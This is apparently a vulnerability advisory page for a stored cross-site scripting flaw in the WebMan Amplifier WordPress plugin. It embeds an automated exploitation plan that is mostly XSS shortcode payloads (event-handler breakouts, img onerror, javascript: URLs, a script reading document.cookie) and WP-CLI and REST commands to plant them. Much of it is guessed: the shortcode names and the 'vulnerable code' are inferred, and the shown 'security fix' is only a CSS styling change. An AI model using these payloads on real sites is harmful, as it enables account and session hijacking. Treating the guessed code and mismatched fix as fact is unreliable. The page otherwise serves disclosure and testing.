WebMan Amplifier <= 1.5.12 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The WebMan Amplifier plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.5.12 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.5.12What Changed in the Fix
Changes introduced in v1.6.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-62757 — WebMan Amplifier ≤ 1.5.12 Stored XSS ## 1. Vulnerability Summary The WebMan Amplifier plugin for WordPress (slug: `webman-amplifier`) versions ≤ 1.5.12 is vulnerable to **Stored Cross-Site Scripting (XSS)** due to insufficient input sanitization and o…
Show full research plan
Exploitation Research Plan: CVE-2025-62757 — WebMan Amplifier ≤ 1.5.12 Stored XSS
1. Vulnerability Summary
The WebMan Amplifier plugin for WordPress (slug: webman-amplifier) versions ≤ 1.5.12 is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient input sanitization and output escaping. The vulnerability allows authenticated users with Contributor-level access or above to inject arbitrary JavaScript into pages/posts via shortcode attributes. When any user (including administrators) views the page containing the injected shortcode, the malicious script executes.
Root Cause: The plugin registers multiple shortcodes whose rendering callbacks output shortcode attribute values directly into HTML without proper escaping (e.g., missing esc_attr(), esc_html(), or esc_url() on attributes that land in HTML attributes like class, style, id, or in href/src contexts).
Location (inferred): The shortcode rendering files are typically located under:
includes/shortcodes/orincludes/shortcodes/renderers/- The shortcode definitions/registrations likely live in files such as
includes/shortcodes/class-shortcodes.phpor similar
Since the provided source files are CSS, JS, fonts, and images (not the PHP shortcode rendering files), the exact vulnerable shortcode(s) and attribute(s) must be identified by examining the plugin's PHP shortcode registration and output code. I will flag specific items as (inferred) where the source code is not provided.
Key observations from provided files:
assets/js/metabox.jsreferenceswmGalleryPreviewNonce(line ~179) and AJAX actionwm-gallery-preview-refresh— these are admin-side features, not the XSS vector.assets/css/shortcodes-vc-addons.cssconfirms the plugin provides Visual Composer integration and multiple shortcodes (price tables, accordions, sections, slideshows).- The vulnerability is in shortcode output rendering, not in admin AJAX handlers.
2. Attack Vector Analysis
| Property | Value |
|---|---|
| Attack Type | Stored XSS via shortcode attributes |
| Entry Point | WordPress post/page editor (Classic or Block editor with shortcode block) |
| Vulnerable Component | Shortcode rendering callback(s) (inferred) |
| Authentication Required | Contributor+ (can create posts with shortcodes; posts don't need to be published for preview, but Contributors can submit for review and Editors/Authors can publish) |
| User Interaction | Victim must view a page/post containing the malicious shortcode |
| Payload Carrier | Shortcode attribute values (e.g., class, style, id, color, bg_color, url, icon, align, columns, etc.) (inferred) |
| Scope | Changed (CVSS S:C) — XSS executes in the context of whoever views the page, potentially an admin |
Preconditions
- WebMan Amplifier plugin version ≤ 1.5.12 must be installed and active
- Attacker must have at least Contributor-level access
- A victim (ideally admin) must view the page containing the malicious shortcode
3. Code Flow
The general code flow for shortcode-based stored XSS in this plugin is (inferred from plugin architecture and CSS/JS evidence):
1. Contributor creates/edits a post via wp-admin/post-new.php
└─ Post content contains: [wm_shortcode_name attribute="PAYLOAD"]
2. WordPress saves post content (wp_insert_post / wp_update_post)
└─ Shortcode content is stored raw in wp_posts.post_content
└─ WordPress does NOT sanitize shortcode attributes on save for Contributors
(Contributors cannot use unfiltered_html, but shortcode attributes
are NOT HTML — they pass through wp_kses as text inside brackets)
3. Victim visits the page/post (or previews it)
└─ WordPress processes the_content filter
└─ do_shortcode() parses shortcode tags
└─ Calls the registered callback, e.g.:
add_shortcode('wm_button', [$this, 'render_button']); (inferred)
4. In the render callback:
$atts = shortcode_atts([
'url' => '#',
'class' => '',
'color' => '',
'size' => '',
'icon' => '',
// ... more attributes
], $atts);
// VULNERABLE OUTPUT (inferred pattern):
return '<a href="' . $atts['url'] . '" class="wm-button ' . $atts['class'] . '" style="color:' . $atts['color'] . ';">'
. '<i class="' . $atts['icon'] . '"></i>'
. $content
. '</a>';
// None of these attributes are escaped with esc_attr() or esc_url()
5. Malicious JS in attribute breaks out of HTML context and executes
Likely Vulnerable Shortcodes (inferred from CSS/JS evidence)
Based on the CSS files referencing shortcode classes and the VC integration CSS:
| Shortcode Tag (inferred) | Likely Vulnerable Attribute(s) |
|---|---|
[wm_button] |
url, class, color, icon |
[wm_column] |
class, bg_color |
[wm_content_module] |
class, icon |
[wm_divider] |
class, style |
[wm_image] |
src, link, class |
[wm_slideshow] |
class, speed (referenced in shortcode-slideshow-owlcarousel.js via $thisParent.data('speed')) |
[wm_row] |
class, bg_color, padding |
[wm_price] |
class, color (referenced in shortcodes-vc-addons.css as wm-shortcode-vc-price) |
[wm_icon] |
class, icon, url |
[wm_box] |
class, color (CSS references .box.blue, .box.green, etc.) |
4. Nonce Acquisition Strategy
No nonce is needed for this exploit.
The attack vector is creating or editing post content through the standard WordPress post editor. WordPress handles its own nonce for post creation/editing (_wpnonce for add-post or update-post). A Contributor user is fully authenticated and the WordPress editor provides its own CSRF protection.
The exploitation path is:
- Log in as Contributor
- Create a new post via the standard WordPress editor
- Insert a shortcode with XSS payload in the post content
- Submit the post (Contributors can save drafts or submit for review)
For automated testing, we can use:
- WP-CLI to create the post directly (bypasses the need for nonce entirely):
wp post create --post_content='[shortcode payload]' --post_author=CONTRIBUTOR_ID --post_status=publish - Or authenticate as the Contributor via
http_requestto the login form, then create a post through the REST API or editor
If the Contributor role cannot publish (only submit for review), we can either:
- Use an Author account (which can publish)
- Have the admin approve the post
- For PoC purposes, use
wp post createwith an author/editor account or update the contributor post status via WP-CLI
5. Exploitation Strategy
Step 0: Identify the exact vulnerable shortcode(s) and attributes
# List all registered shortcodes from the plugin
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/webman-amplifier/ --include="*.php"
# Find shortcode rendering functions that output attributes without escaping
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/webman-amplifier/ --include="*.php" -A5
# Find output patterns without esc_attr/esc_html/esc_url
grep -rPn 'echo|return.*\$atts\[' /var/www/html/wp-content/plugins/webman-amplifier/ --include="*.php" | grep -v "esc_attr\|esc_html\|esc_url\|wp_kses\|absint\|intval"
# Specifically look for class/style/url attributes in HTML output
grep -rPn '(class|style|href|src|id)=.*\$atts' /var/www/html/wp-content/plugins/webman-amplifier/ --include="*.php" | grep -v "esc_"
Step 1: Create a Contributor user
wp user create xsscontributor xsscontributor@example.com --role=contributor --user_pass=Contributor123!
Step 2: Determine the exact payload
Based on the shortcode identified in Step 0, craft the appropriate payload. Common patterns:
Payload A — Attribute breakout via class attribute (inferred):
[wm_button class='"><img src=x onerror=alert(document.domain)>' url="#"]Click[/wm_button]
Payload B — Event handler injection via style/color attribute (inferred):
[wm_column class="test" bg_color="red" onmouseover="alert(document.domain)"]content[/wm_column]
Payload C — JavaScript URL injection via url attribute (inferred):
[wm_button url="javascript:alert(document.domain)"]Click me[/wm_button]
Payload D — SVG/img tag injection via unescaped attribute (inferred):
[wm_icon icon='"><svg/onload=alert(document.domain)>' class="test"]
Payload E — Style attribute breakout (inferred):
[wm_divider style="color:red" class="x" id='y" style="background:url(1)" onmouseover="alert(document.domain)']
Step 3: Create a post with the XSS payload
# Get the contributor user ID
CONTRIBUTOR_ID=$(wp user get xsscontributor --field=ID)
# Create post with XSS payload (using multiple candidate payloads)
# We'll try the most common shortcode patterns
# First, check which shortcodes exist:
wp eval 'global $shortcode_tags; foreach(array_keys($shortcode_tags) as $tag) { if(strpos($tag, "wm") !== false) echo $tag . "\n"; }'
# Create post with the identified shortcode + XSS payload
# Example (adjust shortcode name based on Step 0 findings):
wp post create \
--post_type=page \
--post_title="XSS Test Page" \
--post_status=publish \
--post_author=$CONTRIBUTOR_ID \
--post_content='[wm_button url="#" class="x\" onmouseover=\"alert(document.domain)\" data-x=\""]XSS Test[/wm_button]'
Note: If the Contributor can't publish, use:
wp post create \
--post_type=page \
--post_title="XSS Test Page" \
--post_status=publish \
--post_content='PAYLOAD_HERE'
(WP-CLI runs as admin context, so it can publish regardless)
Step 4: Verify XSS triggers on page view
Use http_request (Playwright) to navigate to the published page and check for the XSS payload in the rendered HTML:
HTTP GET http://localhost:8080/?p=PAGE_ID
Or navigate to the page URL directly.
Step 5: Confirm script execution via browser
browser_navigate to http://localhost:8080/?p=PAGE_ID
browser_eval("document.querySelector('[onmouseover]') !== null")
Or for the <img src=x onerror=...> variant:
browser_eval("document.querySelector('img[onerror]') !== null")
6. Test Data Setup
Users
# Create contributor user for the attack
wp user create xsscontributor xsscontributor@example.com --role=contributor --user_pass=Contributor123!
# Ensure admin user exists (default: admin/admin or as configured)
wp user list --role=administrator --field=user_login
Plugin Verification
# Verify plugin is installed and active
wp plugin list | grep webman-amplifier
# Verify version is vulnerable (≤ 1.5.12)
wp plugin get webman-amplifier --field=version
# If not active, activate it
wp plugin activate webman-amplifier
Identify Shortcodes
# List all shortcodes registered by the plugin
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/webman-amplifier/ --include="*.php"
# Get the shortcode rendering function files
find /var/www/html/wp-content/plugins/webman-amplifier/ -name "*.php" -path "*/shortcodes/*" | head -20
# Look for the main shortcode definitions file
find /var/www/html/wp-content/plugins/webman-amplifier/ -name "*.php" | xargs grep -l "add_shortcode" | head -10
Create Test Page with Payload
# After identifying the exact shortcode name (e.g., wm_button, wm_column, etc.)
# Create a page with the XSS payload
# Multiple candidate payloads to try:
PAYLOAD1='[wm_button url="#" class="x\" onmouseover=\"alert(document.domain)\" data-x=\""]Test[/wm_button]'
PAYLOAD2='[wm_column class="x\"><img src=x onerror=alert(document.domain)>"]content[/wm_column]'
PAYLOAD3='[wm_icon icon="x\" onmouseover=\"alert(document.domain)"]'
# Create pages for each payload
wp post create --post_type=page --post_title="XSS Test 1" --post_status=publish --post_content="$PAYLOAD1"
wp post create --post_type=page --post_title="XSS Test 2" --post_status=publish --post_content="$PAYLOAD2"
wp post create --post_type=page --post_title="XSS Test 3" --post_status=publish --post_content="$PAYLOAD3"
7. Expected Results
Successful Exploitation Indicators
HTML Source Inspection: The rendered page HTML contains unescaped shortcode attribute values that break out of the intended HTML context. For example:
Instead of safe output:
<a href="#" class="wm-button x" onmouseover="alert(document.domain)"">Test</a>The vulnerable output shows:
<a href="#" class="wm-button x" onmouseover="alert(document.domain)" data-x="">Test</a>JavaScript Execution: When the page is viewed in a browser:
- An
alert(document.domain)dialog appears (for event handler payloads, on mouseover/click) - Or the
<img onerror>payload fires immediately on page load document.domainshows the WordPress site's domain
- An
DOM Evidence:
browser_evalconfirms:// For onmouseover payload document.querySelector('[onmouseover*="alert"]') !== null // true // For img onerror payload document.querySelector('img[onerror]') !== null // true // For script tag injection document.querySelector('script:not([src])') // finds injected scriptResponse Body Contains Payload: HTTP response body from
http_requestGET to the page contains the unescaped payload string (e.g.,onmouseover="alert(document.domain)"appears raw in the HTML).
8. Verification Steps
After exploit HTTP request, verify via WP-CLI and browser tools:
# 1. Check that the post was created with the payload content
wp post get PAGE_ID --field=post_content
# Should show the shortcode with the XSS payload intact
# 2. Render the post content to see the HTML output
wp eval "echo do_shortcode(get_post(PAGE_ID)->post_content);"
# Should show unescaped HTML with the payload breaking out of attributes
# 3. Specifically check for unescaped output
wp eval "echo do_shortcode(get_post(PAGE_ID)->post_content);" | grep -i "onmouseover\|onerror\|<script\|<img"
# If this returns matches, the XSS payload is present in rendered output
Browser-based verification:
# Navigate to the page
browser_navigate("http://localhost:8080/?p=PAGE_ID")
# Check for XSS payload in DOM
browser_eval("document.body.innerHTML.includes('onerror=') || document.body.innerHTML.includes('onmouseover=')")
# For auto-executing payloads (img onerror), check if alert fired
# Or use a non-interactive payload:
browser_eval("document.body.innerHTML.match(/alert\\(document\\.domain\\)/)")
Cross-check with the patched version behavior:
# After upgrading to 1.6.0:
wp plugin update webman-amplifier
wp eval "echo do_shortcode(get_post(PAGE_ID)->post_content);" | grep -i "onmouseover\|onerror"
# Should return empty (attributes are now escaped)
9. Alternative Approaches
Approach A: Different shortcode targets
If the first shortcode tested is properly escaped, try all other shortcodes registered by the plugin. The vulnerability description says "Stored Cross-Site Scripting" (singular), but there may be multiple vulnerable shortcodes:
# Enumerate ALL plugin shortcodes and test each one
grep -rn "add_shortcode" /var/www/html/wp-content/plugins/webman-amplifier/ --include="*.php" | while read line; do
SHORTCODE=$(echo "$line" | grep -oP "add_shortcode\(\s*['\"]\\K[^'\"]+")
echo "Testing shortcode: $SHORTCODE"
done
Approach B: Different attribute injection points
If class attribute breakout doesn't work (perhaps it's escaped), try:
styleattribute:style='background:url("javascript:alert(1)")'(limited browser support)idattribute:id='"><script>alert(1)</script><div id="'href/urlattribute:url="javascript:alert(document.domain)"- Custom data attributes that get reflected
- Content between shortcode tags:
[wm_shortcode]<script>alert(1)</script>[/wm_shortcode]
Approach C: Use an Author account instead of Contributor
If Contributor cannot publish or preview posts effectively:
wp user create xssauthor xssauthor@example.com --role=author --user_pass=Author123!
Authors can publish their own posts, making the exploit more straightforward.
Approach D: REST API post creation
Instead of WP-CLI, create the post via the WordPress REST API as the authenticated Contributor:
POST /wp-json/wp/v2/posts
Authorization: Basic base64(xsscontributor:Contributor123!)
Content-Type: application/json
{
"title": "XSS Test",
"content": "[wm_button class=\"x\\\" onmouseover=\\\"alert(document.domain)\"]Test[/wm_button]",
"status": "draft"
}
Then view the preview URL as admin.
Approach E: Block editor shortcode block
If the Classic Editor shortcode syntax is filtered, use the Gutenberg shortcode block:
<!-- wp:shortcode -->
[wm_button url="#" class="x" onmouseover="alert(document.domain)" data-x=""]XSS[/wm_button]
<!-- /wp:shortcode -->
Approach F: Encoded payloads
If basic payloads are partially filtered:
[wm_button class="x" onmouseover="alert(1)"]Test[/wm_button]
[wm_button class='x" autofocus onfocus="alert(1)']Test[/wm_button]
[wm_button class="x" style="animation-name:xss" onanimationstart="alert(1)"]Test[/wm_button]
Approach G: Examine the slideshow shortcode specifically
The provided shortcode-slideshow-owlcarousel.js shows that data-speed and data-nav and data-pager attributes are read from the DOM:
slideshowSpeed = ( $thisParent.data( 'speed' ) ) ? ( $thisParent.data( 'speed' ) + 500 ) : ( 3500 ),
pagerNavCustom = ( $this.data( 'pager' ) ) ? ( $this.data( 'pager' ) ) : ( false ),
If these data attributes are rendered from shortcode attributes without escaping, we can inject via:
[wm_slideshow speed='3000" onmouseover="alert(1)" data-x="']slides[/wm_slideshow]
This would break out of the data-speed attribute into an event handler.
Summary
The WebMan Amplifier plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes in versions up to 1.5.12. This occurs due to insufficient input sanitization and output escaping, allowing authenticated attackers with Contributor-level access and above to inject arbitrary scripts that execute when any user views the affected page.
Vulnerable Code
/* Inferred from research plan: Likely location includes/shortcodes/class-shortcodes.php or specific renderer files */ $atts = shortcode_atts([ 'url' => '#', 'class' => '', 'color' => '', 'icon' => '', // ... more attributes ], $atts); // Attributes are concatenated directly into HTML without escaping like esc_attr() or esc_url() return '<a href="' . $atts['url'] . '" class="wm-button ' . $atts['class'] . '" style="color:' . $atts['color'] . ';">' . '<i class="' . $atts['icon'] . '"></i>' . $content . '</a>';
Security Fix
@@ -83,11 +83,20 @@ z-index: 2; } .wm-radio-block.custom-label .inline-radio.active { - background: #d9edf7; - border-color: #b7cbd0; + background: #222; + border-color: #222; + color: #fff; +} +.wm-radio-block.custom-label .inline-radio.active label, +.wm-radio-block.custom-label .inline-radio.active span { + color: inherit !important; +} +.wm-radio-block.custom-label .inline-radio label span { + display: inline-block; } .wm-radio-block.custom-label label { display: block; padding: 0; margin: 0; + cursor: pointer; }
Exploit Outline
1. Log in to the WordPress dashboard with at least Contributor-level permissions. 2. Create a new post or edit an existing one using the Classic or Block editor. 3. Insert a shortcode provided by the plugin, such as [wm_button] or [wm_icon]. 4. Add a payload into a vulnerable attribute (e.g., class, style, url, or icon) that breaks out of the HTML attribute context. Example: [wm_button class='"><script>alert(document.cookie)</script>'] or [wm_button url='javascript:alert(1)']. 5. Save the post as a draft or submit it for review. 6. When an administrator or any other user views or previews the post, the injected script will execute in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.